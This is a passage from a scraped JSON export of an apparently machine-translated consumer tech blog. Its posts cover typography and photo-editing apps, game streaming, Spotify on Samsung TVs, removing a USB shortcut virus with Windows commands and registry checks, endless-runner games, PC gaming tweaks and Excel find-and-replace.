Apple devices"},{"body":"If you are a passion for painting art then surely you have heard the name Typography. Combined by the words \"Typo\" and \"graphic\", Typography is a clever combination of installation art and word matching techniques. Not only do you have Typography software on your computer, but you can also freely create art right on your mobile with dedicated applications.\nIn the following article, we will introduce you to the editing support applications with many unique typefaces. Let's learn about 9 applications to create Typography on the phone offline.\n1. Typorama Download the Typorama app for iOS Typorama automatically creates text layouts with 35 typographic styles from hundreds of fonts available. What to do is to select a wallpaper, type the text with the font you like. Other options that can be used are 3D, shadow, gradient, filters and more ribbons, badges, or decorations to make the design more plentiful.\nYou can then use this work to post on Facebook, save it as a wallpaper, use it as a leaflet and many other purposes.\n  2. PicLab Download the PicLab app for iOS Download PicLab for Android Download PicLab for Windows Phone PicLab is a photo editor application that adds texts with many special typefaces, to become works of art. You can apply effects, filters, light FX, layouts, borders, . to paste into photos.\nAlso you can apply other options like rotate, resize, adjust opacity, add text layer or shadow effect on the font. However, in the free version will appear the watermark of the publisher, if you want to remove you will have to pay an additional fee of 1 USD.\n  3. Font Candy Download Candy Font for iOS Download Candy Font for Windows Phone Font Candy allows you to add text overlays to images with unique Handpicked fonts. You can choose artwork or use available quotes to add to your photos. If you can't select the right image, you can use the search feature to get images from Pixabay.\n  4. Over Download Over app for iOS With the Over app, you will be creative with over 800 illustrations and 300 fonts for you to combine creating your own works.\n  5. Quick Download the Quick app for iOS Download the Quick app for Android With Quick you can add text to images easily. Just select a photo from Album, then add the text. You can preview different fonts, adjust the size and color of the text .\n  6. Notegraphy Download the Notegraphy app for iOS Download the Notegraphy app for Android If you are bored with simple text posts on social networks, the Notegraphy app can help you renew your message with more than 40 templates and 120 different word variations.\n  7. WordSwag Download the WordSwag app for iOS Like the typography creation tools you see on the web, WordSwag will automatically help you design messages and text on pictures.\n  8. Phonto Download the Phonto app for iOS Download the Phonto app for Android Phonto is a simple application that helps you add text to images. There are more than 200 fonts available and you can add your own fonts. Add a text, then tap on it to change the size, color, font style, spacing between letters, line spacing, drop shadow, and more.\n  9. Fontspiration Download Fontspiration application for iOS Fontspiration is an application that allows you to create unique typefaces with animations with hundreds of fonts available. The created product is saved as images, GIFs, videos or shared directly on Instagram.\n  Please select the application to be able to complete the artwork of your own personality.\nRefer to the following articles: Instructions for creating animated images and GIF images in Adobe Photoshop CS6 3 tips to improve low-resolution image quality How to use Photoshop CS5 - Part 1: Toolbox Wish you have a good time!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYybnJqtpJ6ztriMrbCpp5enrrG02Gamp2WknbJuvMeopZ4%3D\n","link":"/post/how-to-create-beautiful-typography-on-the-phone/","section":"post","tags":null,"title":"How to create beautiful Typography on the phone?"},{"body":"Live Stream is now not too strange a term for users when Facebook leads this famous trend. And even the community of gamers has been updated to stream this game when BlueStacks once combined with Twitch to stream video games.\nAnd recently, BlueStacks and Facebook have joined hands to use the Facebook Live feature, stream games right on BlueStacks to personal Facebook accounts to many friends. This is considered an attractive combination for gamers, when Facebook accounts for the majority of social network users. Please follow the following article of Network Administrator to see how to stream games from BlueStacks to Facebook via Facebook Live feature.\n1. Instructions to stream BlueStacks game to Facebook: First of all, download the latest version of BlueStacks software at the link below:\nDownload the latest BlueStacks software After that, you proceed with the installation steps and log in as usual.\nStep 1: At the main interface of BlueStacks, gamers will see a small interface on the right to allow users to proceed to stream games.\nWe click on the red Start Streaming camera icon to play video games on Facebook. The gamers choose the game then proceed to live stream or, click this icon and select the game.\n  Step 2: Next we choose the method of conducting video game streams on BlueStacks. Click on Stream to Facebook Live .\n  Step 3: Soon a small window appeared for gamers to log into their personal Facebook account . After entering, click Log in to login.\n  Step 4: Next, you will be redirected to the video game streaming screen. We can adjust to turn on or off the Micro and Webcam when clicking the icons directly below the live stream screen.\nDepending on the ambient conditions, the current sound plays live stream that you can turn off the Micro, without recording, but only using the Webcam.\n  Step 5: In addition, gamers can change the location of the live stream screen with the webcam screen when clicking the Layout item. There will be about 6 different display modes for us to choose. Click Done to save.\n  Step 6: Next, Facebook will ask you where you want to post live video stream to Facebook, including:\nShare on your own Timeline. Share on a friend's Timeline. Share in a group. Select the posting location and press Next .\n  Step 7: Switch to the video posting interface. The players wait a few seconds to appear the game stream screen. Here, we can write the status, tag our friends, add the position or mood as when you posted the article on Facebook. Click Play directly to start the game.\n  Step 8: Soon, you will see a live stream game screen appear on the Facebook interface.\n  Step 9: To stop streaming games, at the interface of BlueStacks, we click on the Stop icon . Besides, you will also see the number of people watching live video games as well as the time to stream games to Facebook. We can also write comments directly at the interface of BlueStacks.\n  The steps to stream game BlueStacks to Facebook with that Facebok Live feature are quite simple. In addition, you can also try to stream the BlueStacks game through Twitch guided by us right below.\n2. Instructions to stream games on BlueStacks with Twitch: The first thing you need is a Twitch account under the tutorial Create a Twich account. Then start doing the actions that Network Administrator instructed below to stream video game.\nStep 1: Install and launch BlueStacks on your computer to play Android games. We can optionally choose any game saved in the system to stream the video. Or you can install new games right on BlueStacks.\nStep 2: At the main interface, click the Twitch icon in the menu bar on the left side of the screen.\n  Step 3: Appears BlueStacks TV panel. Scroll down and click the video recording icon .\n  Step 4: Log in to the Twitch account you created when clicking Sign in with Twitch . Table of account information appears. Click Log in to login. If a bulletin board appears, click Authorize to continue.\n   Step 5: The setting table appears:\nCamera and mic icons : Turn off or turn on webcam and mic. Name of the game being Stream . Select the regional network to stream the video . After editing the settings, click Go Live to record the video game. Continue to select See my Stream on Twitch .\n   Step 6: To end the video recording process directly, click the Stop icon. After that, the program will record the time you just recorded the video game.\n   Thus, the video game recording steps have been completed. Gamers can absolutely shoot all videos and share play to many other players. However, streaming images via Twitch will be slower than BlueStack gaming operations. Anyway, the combination of Twitch and BlueStacks is also worth checking out.\nRefer to the following articles: Speed ​​up tips for BlueStacks emulator software This is how Live Stream Facebook Video on PC, Fanpage\n Instructions for setting up Live Stream feature Facebook videos on mobile and tablet\n Wish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqukp7KiuYybo66do6mupLfSZq6irJhis6KvxJumqKNdoba3sQ%3D%3D\n","link":"/post/how-to-stream-bluestacks-with-facebook-live/","section":"post","tags":null,"title":"How to stream BlueStacks with Facebook Live"},{"body":"Have you ever needed to stream a game to your friends but don't want to use services like Twitch where everyone can jump in? You may have discovered and used Discord's screen sharing feature for this reason, but you no longer have to. Discord recently implemented a new feature called 'Go Live', which allows users to stream their game to friends.\nHow to use the 'Go Live' feature First, make sure you are using a PC running Windows 8 or higher. The Go Live feature does not currently support computers running Windows 7 and below.\nTo use Go Live, play a game that Discord can recognize. You will know whether Discord can 'see' a game if the status message changes to 'Now Playing:' followed by the game when you play it. If you do not see this status, it means that Discord cannot recognize your game and you will not be able to stream it.\nIf you start a game that Discord recognizes, you will notice a small window appears above the status bar. Click the small screen icon on the right on this new window to go live.\n  A window will appear asking you which voice channel you want to stream. Unfortunately, you can stream a game without going to the voice channel, because it works like the way you communicate with viewers and the channel that other people use to watch. If you don't want your voice to appear during streaming, be sure to click the microphone icon in the status bar to mute before starting.\n  After selecting the voice channel, you will automatically join it. Now, anyone who joins your voice channel will see the stream when you broadcast it.\nHow to view someone's stream? If you don't like streaming but want to know when others are streaming, there are ways to get this information. Hopefully, the person starting the stream will let everyone know that it is about to begin. When that happens, join the voice channel they are logged in to. Click on the user with the word 'LIVE' next to their name to start the program.\n  If the streamer does not notify the stream, you can still tell if they are broadcasting by looking at the person's status message. Look at their username in the user list. If their status message reads 'Streaming:' and is followed by a game title, you can watch the stream by joining their voice channel.\nCan you live stream to a friend? Unfortunately, at the time of writing, there's no way to open a chat with a friend and stream to them via live messaging. If you try, the 'Go Live' button will be grayed out and you will be notified instead to visit an alternate server. Hopefully, Discord will add this great streaming feature to friends and DM groups, as this will be a good way to provide a private stream for people who don't share servers with you.\nStream to the group Streaming games can be fun with friends, but it is difficult to do so without using a web service where strangers can join. Using Discord, you can broadcast to members using the same server and let them monitor without risking a random person ruining the fun.\nWill you use Go Live instead of other services like Twitch? Let everyone know in the comments below!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqltdKcpquco2K7psOMoKZmpJmrsm6yxJqrrqqV\n","link":"/post/how-to-use-discord-s-new-go-live-feature/","section":"post","tags":null,"title":"How to use Discord's new Go Live feature"},{"body":"Spotify is one of the hottest online music applications currently selected by music lovers. It's easy to download Spotify on your phone, but what if you want to add this app to your Samsung Smart TV to experience? Very simple, the following article will show you how to install Spotify on Samsung Smart TV running Tizen operating system.\n1. Instructions for installing Spotify on Samsung Smart TV Step 1:\nYou access the application store of the TV by pressing the Home button (the button with the house shaped) on the control, then select the APPS item.\nStep 2:\nEnter the word \"Spotify\" in the search field, the application will appear.\nStep 3:\nSelect Install to proceed to download Spotify to Samsung TV.\nStep 4:\nThe installation process is complete, select Open, then Spotify will appear on the television screen.\n2. Register for Spotify account on Samsung Smart TV To experience Spotify on TV the best way, you should sign up for Premium package, now Spotify is offering Premium package at the price of 59,000 VND / month. With Spotify's Premium, you can increase the quality of streaming music to the highest, without annoying ads, using the extremely convenient Spotify Connect feature, etc. You can also sign up for a 1-month trial account. Follow the steps below, after one month you must buy again to continue using.\nStep 1:\nStart Spotify on Samsung Smart TV, the application interface will appear and select Register for free.\nStep 2:\nTo create a Spotify account, complete your personal information such as Email, username, password, date of birth, gender, and then click Register.\nStep 3:\nSuccessful registration, you will see the application interface appears as shown below, and now enjoy the delightful music now.\nI wish you all success!\nSee more:\nInstructions for connecting Spotify on phones with computers, televisions, speakers How to turn on lyrics on Spotify The difference between Spotify Free and Premium is not the true experience Instructions for customizing music quality on Spotify Users can control voice music on Spotify in the future ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZaOlvLW1xbJkqKZdqK6uv9SnnmarnZa%2FtXnTrw%3D%3D\n","link":"/post/instructions-for-installing-spotify-on-samsung-smart-tv/","section":"post","tags":null,"title":"Instructions for installing Spotify on Samsung Smart TV"},{"body":"Recently on the internet community is transmitting an animated film Calling Me Cuong Cuong Nguu funny. The film tells the story of Cuong Tieu Ngu with a very funny and cute pose with his attractive face. And if you have become a fan of this boy Cuong Cuong Ngu, or simply want to change the wind for your phone, you can create a new theme for Android phones. In the article below, we will guide you how to install Cuong Tieu Ngu theme on Android device.\nInstructions to install Cuong Tieu Ngu theme for iPhone / iPad Step 1: First of all, you need to download the Nova Launcher interface change application for Android devices.\nDownload the Nova Launcher Android app Step 2: After that, we will download the APK file of the Cuong Tieu Ngu theme below.\nCuong Tieu Ngu theme for Android Step 3: You start the Nova Launcher application on the device. At the Nova Setup interface, click the Layout item. Next, select the Icon Theme and select Cuong Tieu Ngu theme to download the APK file to the device as the main interface.\n    Step 4: Next, go back to the Nova Setup interface and then select Storage . Select the Background item and then click on the 3 dots icon .\n    Step 5: Here we will adjust the default Nova Launcher application's white background color to use a more artistic theme. At the color palette, you change the background color on the ruler , drag to the background color you want to select and click OK to finish.\n  So you have done the operation to install Cuong Tieu Ngu theme on Android device already. Just download the application to change the Nova Launcher interface and the APK file of Cuong Tieu Ngu theme has brought completely new colors to the phone interface. In addition, we can also try with many different themes.\nRefer to the following articles: 3 ways to uninstall apps for Android devices 10 easy video editing applications on Android 6 high quality movie watching software for Android phones I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKKmo6murbiMnKyoppdiwaqx1GaloK1dqbWmucRmnaiqXZa7pb7Oops%3D\n","link":"/post/instructions-to-install-cuong-tieu-ngu-theme-for-android/","section":"post","tags":null,"title":"Instructions to install Cuong Tieu Ngu theme for Android"},{"body":"Shortcut virus has become one of the 'popular' problems for computer users. In fact, this is not a virus but a VBS Script . When you plug the USB drive into your computer or laptop to open these files and folders, you can see only the Shortcut icons that cannot be opened.\nSo how to remove the root shortcut virus on the USB drive and computer, please refer to the following article of Network Administrator.\n  How to remove virus shortcut What to do when the shortcut virus infects your computer? Steps to remove shortcut virus on USB drive How to remove shortcut virus from PC / laptop on Windows 10/8/7? Method 1: Remove the shortcut virus from the Registry Method 2: Remove the shortcut virus with antivirus software  How to recover files after removing virus shortcut What to do when the shortcut virus infects your computer? Shortcuts make users unable to access their files, and they may contain sensitive personal information. In that case, you won't simply lose data. Therefore, it is very important to remove viruses from your flash drive and computer immediately.\nThere are many different versions of the shortcut virus, so changing it from your computer, laptop, hard drive partition, USB drive and SD card also changes. The following tips will help you get rid of shortcut viruses, although sometimes the names of virus files are not the same.\n1. Install antivirus software on your PC.\n2. Find reliable data recovery software in case of data loss problems (if needed).\nSteps to remove shortcut virus on USB drive To remove the shortcut virus on the USB drive, follow the steps below:\n1. First press the Windows + R key combination to open the Run command window, or access the Start Menu to open the Run command window.\n2. Next on the Run command window, enter cmd there and press Enter to open the Command Prompt window.\nIf you use Windows 8 or Windows 8.1 , you can open the Metro Menu , then enter cmd there to open the Command Prompt .\n3. Enter the name of your USB drive into the Command Prompt window. Suppose if your USB drive name is E, enter E in the Command Prompt window and press Enter.\n  4. Next enter del * .lnk and press Enter.\n5. Finally enter the following command into the Command Prompt window and press Enter: attrib -s -r -h *. * / S / d / l\n6. Open your USB drive and check it.\nThe attrib command is a native Windows function that changes the properties of a specific file or directory. Other parts of the command specify which files and folders to change and how they are changed:\n-s remove \"system file\" status from all the appropriate files and folders. -r will remove the 'read-only' status from all appropriate files and folders. -h deletes the \"hidden\" status from all the appropriate files and folders. / s applies commands to all files and folders in the current directory, as well as all subdirectories. Basically the whole device in this case. / d applies commands to directories (usually the attrib command only handles files). *. * means that all file names and folder names must be considered matches. When you've finished all that, consider copying all your files to an external device. Format the external device completely to clean it, then move your files back to this external storage device.\n  How to remove shortcut virus from PC / laptop on Windows 10/8/7? Here are 2 methods for you to remove shortcut virus on Windows 10/8/7 PC. In many cases, all three procedures need to be done to make sure your computer is free of viruses:\nMethod 1: Remove the shortcut virus from the Registry If your Windows computer is infected with a shortcut virus, whenever you plug an external storage device into your computer, the virus will immediately spread to that device. Here's how to delete the shortcut virus with CMD (on a Windows computer):\nStep 1: Open Task Manager (shortcut key combination Ctrl + Shift + Esc ).\nStep 2: On the Process tab , find wscript.exe or wscript.vbs, right-click it and select End Task. If you see both files, go ahead and do it for both files.\nStep 3: Close Task Manager.\nStep 4: Open Start Menu, find regedit and launch Registry Editor.\nStep 5: In Registry Editor, navigate to the following section on the left sidebar:\nHKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run  Step 6: In the right panel, search for any weird key names, such as odwcamszas, WXCKYz, OUzzckky, etc. For each suspicious name, try searching on Google to see if it has related to shortcut virus or not.\nStep 7: If that is the right virus, right-click on them and select Delete. Be careful not to accidentally delete any important keys other than viruses. Accidentally deleting an important key can make Windows unstable.\nStep 8: Close Registry Editor.\nThe shortcut virus will often find its way into applications that start your PC. To solve this problem:\nStep 9: Open Run by pressing Win + R , type msconfig and then click OK to open the System Configuration window .\nStep 10: In Startup, find any strange .EXE or .VBS program, select each program and click Disable.\nNote : Disable everything except antivirus software and trusted applications.\nStep 11: Close the System Configuration window .\nStep 12: Open Run ( Windows + R ), enter % TEMP%, and then click OK to open the Windows Temp folder . Delete everything inside this folder. (Don't worry, this step is safe!)\nStep 13: In File Explorer, navigate to the following folder:\nC:Users[username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup  Step 14: Look for any strange .EXE or .VBS files and delete them.\nStep 15: Then restart your computer. Everything is complete!\nIf the steps above don't work, you can also try using USBFix for free. Technically, it means cleaning USB drives and other external storage devices, but you can point it to a regular system drive and the software will also clean them. It works quite well as an antivirus tool. Many people have successfully used this tool. However, remember to always back up your data in advance to prevent risk!\nNote : If the infected drive or partition contains your Windows system (for most users, that means C drive :), there is no easy way to remove the shortcut virus. Fortunately, in Windows 8.1 and 10, you can choose to reset or refresh Windows. On Windows 7, you will need to reinstall Windows.\nMethod 2: Remove the shortcut virus with antivirus software Although anti-virus software can often bypass the shortcut virus files, it can act as a dual guarantee that your PC is still removing the virus. Download and install antivirus software to scan and delete all files containing viruses detected from your Windows 10/8/7 PC. Below is a list of recommended antivirus software tools to choose from. Some tools will be more effective than others, depending on your specific hardware setup, so you can try many antivirus software if you want.\nTrojan Removal Tool Shortcut virus fixfolder Malwarebytes Anti-Malware How to recover files after removing virus shortcut After removing shortcut viruses from your USB and Windows PC, you should check to see if any important data is lost. It can be difficult and stressful to scan the entire hard drive to find files that may have been lost. To speed up the process of finding lost files and to quickly recover them, use EaseUS Data Recovery Wizard to search your drive. EaseUS Data Recovery Wizard scans the data content on the drive to find all data lost due to deletion, format or virus attack.\nDownload for free to get back all your lost data due to virus shortcut.\nDownload for PC: http://down.easeus.com/product/drw_free Download for Mac: http://down.easeus.com/product/mac_drw_free In addition, there is a free version of the software, which allows you to recover up to 2GB of data. Data can be recovered simply as follows:\nStep 1: Run EaseUS Data Recovery Wizard . Select the drive partition or storage location where you lost the file and click \"Scan\".\n  \nStep 2: EaseUS Data Recovery Wizard will start the scanning process for lost files. The scanning process will automatically start searching all files.\n  Step 3: Preview and recover lost files.\n  You can filter the scan results by file type, select the files you have found and click \"Recover\" to bring them back. You should save the files to another secure location in your storage device / PC, different from where they were lost.\nIf you find a large number of lost files on your computer or USB drive, click Active to purchase the license and you will be able to recover unlimited data. Similarly, then, just select the data you want and click Recover. Be sure to save the data to another secure location in the PC or external storage device.\nAfter restoring the data, to be absolutely sure that you have completely removed the shortcut virus, you can back up the data from your drive then reformat the drive. After that, restoring data from your backup and your computer will be safe!\nRefer to some of the following articles:\nTo remove web ads - Social 2 Search Ads, read this article 17 clear signs that your computer has been attacked by a virus Use the CMD command to remove viruses on Windows computers Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKyfqKqkmMK1edWiqa6rXaeyrrvVmqNmoJGoeq%2Bx1Z6pZpqVmrtuwMeiqmarmaK9rbE%3D\n","link":"/post/the-shortcut-virus-removal-has-never-been-this-simple/","section":"post","tags":null,"title":"The shortcut virus removal has never been this simple"},{"body":"1. Minion Rush   Minions are cute yellow cartoon characters that once caused a \"fever\" in the cinema. With this game, you are transformed into a cute yellow minion with the task of collecting your favorite food - bananas. In addition, the player also has to face the evil by using the weapons and equipment along with the player's agility to solve.\nDownload link for Android devices here. Download link for iOS devices here. 2. Subway Surfers   In Subway Surfer, you play as a teenager with a hobby of painting graffiti murals, but instead of painting on the street walls, he chooses the train station as a place to save his works. The thrilling chase between a teenager with a hobby of drawing graffiti and a train station guard on the train track is full of obstacles and even trains running at high speed.\nDownload link for Android devices here. Download link for iOS devices here. 3. Temple Run 2   Temple Run is one of the first games made with the Endless runner genre. Part 2 takes the player on an adventure to find treasure to an ancient temple and you must find a way to dodge the enemies chasing behind. With upgrades and new characters that promise to bring players a more interesting experience than part 1.\nDownload link for Android devices here. Download link for iOS devices here. 4. Talking Tom Gold Run   Talking Tom virtual cat character, popular with millions of people, has been docked in the game Endless runner Talking Tom Gold Run. In the game, players have to control Talking tom cat avoiding obstacles on the way to collect as many gold coins as possible. Gold coins after collecting will be used to unlock and upgrade features and items for the game.\nDownload link for Android devices here. Download link for iOS devices here. 5. Sonic Dash 2: Sonic Boom   With a familiar cast of characters in the Sonic game, you will explore the colorful 3D world. Some of the standout features in part 2 are:\n+ Start the race with 3 other teammates in Team Play mode.\n+ Unleash special powers - Magnets of Attraction, Fist of Destruction, Amy's War Hammer and more.\n+ Collect, evolve and run with new magic waiting for you to discover.\nDownload link for Android devices here. Download link for iOS devices here. 6. Alto's Adventure   In Alto's Adventure, you control the character Alto on a skateboard and overcome obstacles, collecting gold coins to upgrade equipment for your character. With the game in landscape mode (landscape) will give players more space to cover and handle the situation more effectively.\nDownload link for Android devices here. Download link for iOS devices here. 7. Jumanji: Epic Run   Jumanji - fantasy games are attractive movies on TV. Taking the theme of this movie, the author of the game Jumanji: Epic Run put into this game familiar characters to join the race from treasure hunters. Along the way, you can collect items and money and weapons to eliminate enemies along the way.\nDownload link for Android devices here. Download link for iOS devices here. 8. Jetpack Joyride   Jetpack Joyride is developed by Halfbrick Studios - the creator of the famous Fruit Ninja game. With a cute cast of characters and a fun gameplay style to help players relax effectively. Special items during the game help players increase points and overcome obstacles easily.\nDownload link for Android devices here. Download link for iOS devices here. 9. Zombie Tsunami   In this fun Zombie game, you need to find a way to \"eat the brains\" of pedestrians and expand your Zombie army. To add more fun, you can use some features such as raising Zombie birds, unlocking dragons, UFOs .\nDownload link for Android devices here. Download link for iOS devices here. 10. Will Hero   Will Hero gives players moments of light and relaxing entertainment based on unique 3D pixel graphics. On this game, players are equipped with weapons to destroy the enemy and above all, you have to skillfully overcome the obstacles in the game to win the highest score.\nDownload link for Android devices here. Download link for iOS devices here. With 10 attractive Endless runner games on your phone that will help you relieve stress and be able to show off your talent with friends. Have a great day!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZp2embmmv9Jmqa6mnpq%2FbrPAppysZZ%2BjerG0zqecrA%3D%3D\n","link":"/post/top-10-endless-runner-games-on-phones/","section":"post","tags":null,"title":"Top 10 Endless runner games on phones"},{"body":"Photoshop is clearly one of the most comprehensive, professional photo editing tools available today. However, to know how to use Photoshop, you must have time to learn as well as learn really seriously. In case you just want to make a quick, simple tweak to the images on your Mac, check out the following free photo editing apps.\n1. DarkTable DarkTable is a free and open source image editing program that is very popular among the Linux user community, and is of course also available with macOS. Besides the basic options, DarkTable also offers many advanced photo editing functions, as well as features to create efficient workflow. With an easy-to-use interface and great compatibility with a wide range of high-end cameras, DarkTable is a name worth checking out.\n  The application is filled with feature modules, such as the Tone Equalizer and RGB modules… that can give your professional photos quality new variations.\nDarkTable also supports RAW image post-processing. So, if you're looking for quick edits, you'd better check out the other options on this list. If you're really serious about your photo editing business but don't want to splurge on something like Adobe Lightroom, DarkTable is the way to go.\n2. Preview Preview is an extremely useful application for macOS users. Not only does it act as a versatile tool that allows users to open various types of documents, such as text, PDF, images, RAW images, etc. Preview can also support fast file format conversion, file extraction and even even perform a variety of tweaks on the file, including the ability to edit photos from basic to relatively complex.\nIf you open an image with Preview, you'll immediately find tons of options to rotate, resize, add borders, add text, adjust image colors, and more. In case you can't find these editing tools, click 'View -\u0026gt; Show Markup Toolbar' to show them.\nPreview's strength lies in its speed, ease of use, free and no installation required.\n3. Photos Apple released Photos in 2015 alongside OS X 10.10 Yosemite to replace iPhoto as the default photo manager for macOS. In addition to managing your photo library, Photos can also help you make a series of quick and simple edits to your images.\nOf course Photos does not support layers, select partitions on images, or intensive RAW editing like Photoshop. In turn, the app integrates well with iCloud photo library, providing users with non-seamless photo editing, and even supports RAW photos to some extent. Photos still owns a series of basic editing tools such as sharpening, blurring, adjusting layers, correcting white balance, applying filters, removing red-eye .\n4. Fotor Photo Editor If you're looking for a simple photo editor on your Mac, don't miss Fotor Photo Editor. This application is extremely easy to use. Everything is set up right from the start, and you don't need to deal with complicated settings.\nAs soon as you access the application, you will be presented with three options: Standard editing, creating a collage from a selected number of photos, and batch editing many photos at the same time. You can also actively select the image(s) you want to process.\nThe editing interface is also very simple. You'll quickly find all the tools you need for your work, such as rotating, compositing, cropping, adjusting, and adding effects. Clicking on one of these tools will give you even more options.\n5. Pixlr If you are someone who likes to share photos on social networks, Pixlr is probably the right app. Pixlr is a great cloud-based photo editor developed by Autodesk, co-manufacturer of products like AutoCAD, Cloud, and 3DS Max. This application has dozens of artistic effects, attractive lighting options, vector graphic shapes, stickers, etc. And is the perfect choice for those who want to create flashy photos without having to Face-to-face with in-depth aspects like white balance, saturation, or hue. You can quickly share your favorite photos on social networks with just a few simple tweaks.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXq0tcypo55llqeypnnPoaatp12asarAyKeeZpmgpcBuss6rZKaZk6TA\n","link":"/post/top-5-best-simple-free-photo-editing-apps-for-macos/","section":"post","tags":null,"title":"Top 5 best simple free photo editing apps for macOS"},{"body":"1. Clean the computer hardware The first thing is to always maintain the hardware in your computer. Dirt is the \"enemy\" of performance. These dirt will reduce air flow, causing the computer to overheat. As the heat increases, the processor, GPU and most other components slow down.\n  The best way to solve this problem is to remove dust. Obviously, this is not a simple task. Removing your computer may void your warranty and damage your device if you are not an expert. So take it to a professional repairer to clean the computer and keep the keyboard free of dust, food, or other substances.\n2. Update Driver Regardless of the operating system used, it's important to keep up with the drivers. If the driver version you are using is outdated, it could cause the computer's hardware not to carry the effects, as well as make the experience of new games unsatisfactory.\n  By default, Windows Update does a pretty good job at updating drivers. However, some of these updates are being updated slowly by Windows. Therefore, it is best to resort to more proactive testing and updating solutions.\n3. Update DirectX Following the driver, DirectX is the component to check and update. Maybe you do not know, but if you play games on Windows then DirectX can also be seen as a support driver for gaming. And in the minimum configuration requirements, game developers will give you suggestions for the version of DirectX that best suits their game.\nIf using Windows 10 then DirectX 12 is the latest version released by Microsoft recently. However, there is very little documentation on how to install this program, but usually DirectX version will automatically install when you install a new game. There are times when DirectX is updated through Windows Update.\n  To check the current DirectX version on your computer, enter the command \"dxdiag\" in the RUN dialog box and press the ENTER key. Wait for the DirectX Diagnostic Tool (DXDiag) window to pop up, click the Display tab. Here, you will see information about the graphics card. In the Drivers pane, find the Direct3D DDI, it will be numbered according to the latest version of DirectX currently available on the computer.\n4. Adjust the power usage By default, Windows will adjust the operating system to the minimum power consumption. Because of this, there are very few devices that would experience great performance if you don't adjust to this power consumption. And it also directly affects your game experience.\n  To adjust the power usage of your computer, enter the keyword \"Power \u0026amp; sleep settings\" in the search box and click on the result.\n  Continue to click the \"Additional power settings\" option on the Related settings line.\n  Change existing selection to \"High performance\".\n5. Enable Game Mode in Windows 10 The promise of gaming performance in Game Mode through Windows 10 updates is always focused on and implemented in a very positive way by Microsoft. This mode will be especially useful on PCs with moderately configured than the great machines. The good news is that Game Mode works with all games, not tied to titles purchased from the Windows Store.\n  Game Mode Game Mode is designed to improve the performance of PC games, both in quantity and in FPS stability. To do this, Game Mode will prioritize spending most of your system's hardware resources to process the game you are playing, especially restricting background applications from consuming resources.\u0026nbsp;\nIn this mode, Game Mode will reserve your game a certain amount of GPU hardware as well as a certain number of CPU threads depending on the configuration of the machine you own.\n  To activate Game Mode, you will have to start the game, press Windows + G to open the Game Bar. Click the Settings gear to the right of the Game Bar to enter the settings. Tick ​​the line \"Use Game Mode for this game\" to activate Game Mode for the game you are playing. Once done, you can close the Game Bar to enjoy the game.\u0026nbsp;\nYou don't even need to restart the game for Game Mode to take effect. There are things you will have to manually enable this feature for each game you play.\n6. Check internet quality In general, gaming performance is mainly determined by the hardware, driver and computer configuration. But if you are playing online games, there is another factor to keep in mind is the speed of your Internet connection.\n  If playing Online games is slow, it could be because there's a problem with the Internet connection. Usually, the wireless network card will be updated via Windows Update or any system that updates the operating system. If the driver has been updated but is still slow then consider a wired Ethernet connection to the router.\n7. Adjust the Texture and Shader settings Finally, what you need to check are the graphics card settings. Here, you go to the settings for Texture and Shader, it will affect the \"look\" of the game. Often the memory available to the GPU will limit options, so setting up a profile is good enough to provide more performance than it looks. In short, a texture with a high resolution will consume a lot of RAM, affecting the frame rate.\n  Note that you can install Texture and Shader for each game you want. This is useful if an old game is capable of working with advanced settings. Additionally, you can still adjust each game's video settings from the video settings screen.\nIt may take a while for the optimal video settings to be produced for each game. Once you've established the right balance of quality and performance, however, you'll find that it's worth it.\u0026nbsp;\nTop 7 tips top 7 ncG1vNJzZmismaXArq3KnmWcp51kwbC8jHBkraGgqHqnu9FmpqmsmaK2u7XNoGSyp6WnerGvjLCfnqZdpbmixcinnmafkaKytA%3D%3D\n","link":"/post/top-7-tips-for-optimizing-your-pc-when-playing-games/","section":"post","tags":null,"title":"Top 7 tips for optimizing your PC when playing games"},{"body":"The following article provides detailed instructions for you to use the search and replace function in Excel.\nYou can customize the addition of a comment to a formula or to a data cell in a spreadsheet by following these steps:\n1. Find data feature. Step 1: Open the Find and Replace dialog box in two ways:\nMethod 1: Press the key combination Ctrl + H.\nMethod 2: Go to Home tab -\u0026gt; Editing -\u0026gt; Find \u0026amp; Select -\u0026gt; Find:\n  Step 2: The Find and Replace dialog box appears -\u0026gt; select the Find tab , enter the search content in the Find What section , for example, here is the search for an employee named Lan -\u0026gt; click Find Next to search in turn. The employee named Lan in box 13 is found first, if it is not the employee you want to search -\u0026gt; click Find Next:\n  - In case the search text is not in the data table -\u0026gt; the message box appears, click OK:\n  2. Replace data in Excel. Step 1: Switch to the Replace tab, enter the following content:\n- Find What section: Content to be replaced.\n- Replace with: Enter the replacement content.\nThe example here replaces the employee named Lan with Mai.\n  Step 2: - Click Replace to replace:\n  - If you want to replace all employees named Lan, click Replace All -\u0026gt; dialog box displays the total number of replacements -\u0026gt; click OK to close the dialog box:\n  - If the content is not in the data table, the dialog box appears -\u0026gt; click the OK button to close the dialog box:\n  The above is a detailed guide on how to use the search and replace function in Excel 2013.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjK2fnmWjmq6zr8dmmKecXaeysbjAnJxmnqWjsLW1zqdkoqZdmsWkscs%3D\n","link":"/post/use-the-search-and-replace-function-in-excel/","section":"post","tags":null,"title":"Use the search and replace function in Excel"},{"body":"Are you a filmmaker? Check out these web apps for use in different stages of filmmaking.\n1. WriterDuet for screenwriting   Script writing is an important stage of the filmmaking process and takes a lot of effort. A movie can have one or more screenwriters, so instead of writing individually, they can collaborate on writing the screenplay using the WriterDuet app.\nThanks to this cloud-based application, everyone can write scripts together in real-time easily. With visual comments, you can provide feedback on any part of the story. You can use the built-in text and video chat to communicate and discuss.\nWriterDuet also supports seamless formatting of text and customizing the workflow. You can even create custom templates and save revised drafts with just one click.\n2. Movie Magic Budgeting to manage the production process   Every seasoned filmmaker is fully aware of the workload involved in production management. This process includes budgeting, shooting 